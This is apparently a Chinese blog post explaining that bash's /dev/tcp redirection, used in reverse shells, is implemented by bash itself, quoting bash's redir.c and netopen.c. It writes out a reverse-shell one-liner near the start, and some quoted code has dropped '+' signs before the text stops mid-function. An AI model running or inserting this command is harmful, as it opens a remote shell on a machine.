那些年被误解的 reverse shell。
前言
昨天有个小伙伴在群里问在 macOS 下如何实现 bash 反弹 shell,因为 Mac 中没有 /dev/tcp
目录。借着这个问题,就来简单谈谈反弹 shell 的那些事。
从 bash 说起
可能大家都用过 bash 反弹 shell:
代码语言:javascript复制bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
关于重定向部分很多文章有介绍了,但是 /dev 部分却鲜有提及。很多人以为 /dev/tcp/host/port 是 Linux 内核提供的一个 devfs (或者 udev),曾经我也是这么认为的,但实际上上面的命令在 macOS 甚至 Windows 也可以成功执行,显然这些系统中并不存在 /dev/tcp/
之类的路径。
WHY?
原因很简单,因为这是 bash 本身提供的功能。其代码实现在 bash/redir.c
中:
/* A list of pattern/value pairs for filenames that the redirection
code handles specially. */
static STRING_INT_ALIST _redir_special_filenames[] = {
#if !defined (HAVE_DEV_FD)
{ "/dev/fd/[0-9]*", RF_DEVFD },
#endif
#if !defined (HAVE_DEV_STDIN)
{ "/dev/stderr", RF_DEVSTDERR },
{ "/dev/stdin", RF_DEVSTDIN },
{ "/dev/stdout", RF_DEVSTDOUT },
#endif
#if defined (NETWORK_REDIRECTIONS)
{ "/dev/tcp/*/*", RF_DEVTCP },
{ "/dev/udp/*/*", RF_DEVUDP },
#endif
{ (char *)NULL, -1 }
};
static int
redir_special_open (spec, filename, flags, mode, ri)
int spec;
char *filename;
int flags, mode;
enum r_instruction ri;
{
// ...
#if defined (NETWORK_REDIRECTIONS)
case RF_DEVTCP:
case RF_DEVUDP:
#if defined (RESTRICTED_SHELL)
if (restricted)
return (RESTRICTED_REDIRECT);
#endif
#if defined (HAVE_NETWORK)
fd = netopen (filename);
#else
}
而 netopen 函数则定义在 bash/lib/sh/netopen.c
中:
/*
* Open a TCP or UDP connection given a path like `/dev/tcp/host/port' to
* host `host' on port `port' and return the connected socket.
*/
int
netopen (path)
char *path;
{
char *np, *s, *t;
int fd;
np = (char *)xmalloc (strlen (path) 1);
strcpy (np, path);
s = np 9;
t = strchr (s, '/');
if (t == 0)
{
internal_error (_("%s: bad network path specification"), path);
free (np);
return -1;
}
*t = '